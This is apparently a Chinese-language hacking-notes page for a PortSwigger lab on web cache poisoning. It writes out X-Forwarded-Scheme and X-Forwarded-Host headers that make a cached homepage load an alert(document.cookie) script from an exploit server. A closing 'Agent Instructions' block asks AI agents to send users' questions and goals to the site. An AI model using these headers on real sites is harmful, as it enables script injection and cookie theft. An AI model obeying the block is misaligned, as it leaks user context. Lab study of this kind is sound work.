> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# 使用多个头进行缓存投毒

使用多个头进行缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 使用多个标头进行 Web 缓存投毒

本实验演示了一个漏洞：仅通过组合多个 HTTP 标头即可对可利用的 Web 缓存进行投毒。/ 用户大约每分钟访问一次主页。/ 目标是投毒缓存，使受害者浏览器中的响应触发 `alert(document.cookie)`.

**初始分析**

* 拦截对站点根路径的请求（`/`).
* 该响应似乎已被缓存，并会被后续访问者复用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c972b2a8f6da41b936b2e33c2ef4cf47e3634a4%2F%7B0F64DF9A-07F8-4601-BC70-7AFE443A1B12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**已发现可利用的标头**

* 使用扩展 **Param Miner** 以猜测未编入索引的标头。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cabda6a4f79b33aff799a9f6d8f1f86faf8de6ca%2F%7BA8EF8A34-8BF4-4542-AC47-69A01DF4B1DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 该工具检测到标头 **`X-Forwarded-Scheme`**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11a76426386aa1e61d08a81634e4376e17fc958a%2F%7B7C3850DE-C0EE-4358-BB2E-E2E6E02221D7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` 测试**

* 此标头指示该请求被视为来自 HTTP 还是 HTTPS。
* 发送：

```http
X-Forwarded-Scheme: http
```

* 网站试图表现得像是通过 HTTP 提供的一样。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ea9c314f4ce92c893ea6d659d10d1486f0f2b6b%2F%7BF21A17E2-5562-4620-A0DB-2B037F9BFB91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

这会导致故障，并且由于重定向不正确，资源不再被正确加载。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f089378d4953b4d4ccfa6a92705c7c05afe478e%2F%7BFE596C33-DFDA-4177-A682-6F25A527807D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**添加第二个标头： `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* 网站随后会尝试从此区域加载其资源。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8132a2ac3a8927bec7f367dc1fc01dc28e08fb%2F%7BC10DBE35-F253-4C64-BD92-F618F8A55176%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

JavaScript 文件的加载包含：

加载页面时会自动执行此脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c78a9e4d468f72cd437497ccc0b6a1c2d00cda1f%2F%7BDBD08CC4-ACD7-484C-8FFD-4C16D9108FD6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Exploit Server 进行操作**

* 目标是强制从 Exploit Server 加载 JavaScript 文件。

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

在 exploit 服务器上：

* 创建一个可通过以下 URL 访问的文件：

文件内容：

```javascript
alert(document.cookie)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85373791f3a795d8fe11ee1bb5b743102e9973db%2F%7BAE1EF4E2-4894-4B50-ACB5-A5478E992741%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**结果**

* 主页现在会从 Exploit Server 加载 JavaScript 脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e150a7ba76baca1ccc268d82c69e50f1ffc42f%2F%7B859D4763-5D46-4276-AC29-CCCAA35BC9A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 被投毒的响应被隐藏了。
* 当用户访问页面时，该脚本会自动运行。
* 显示以下内容的警报： `document.cookie` 会出现在受害者的浏览器中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1f50ff4ab0bbc570ad3e835881e93f97c34d8db%2F%7B24DB66DC-4961-4D76-B44E-5B70F3D33113%7D.png?alt=media" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
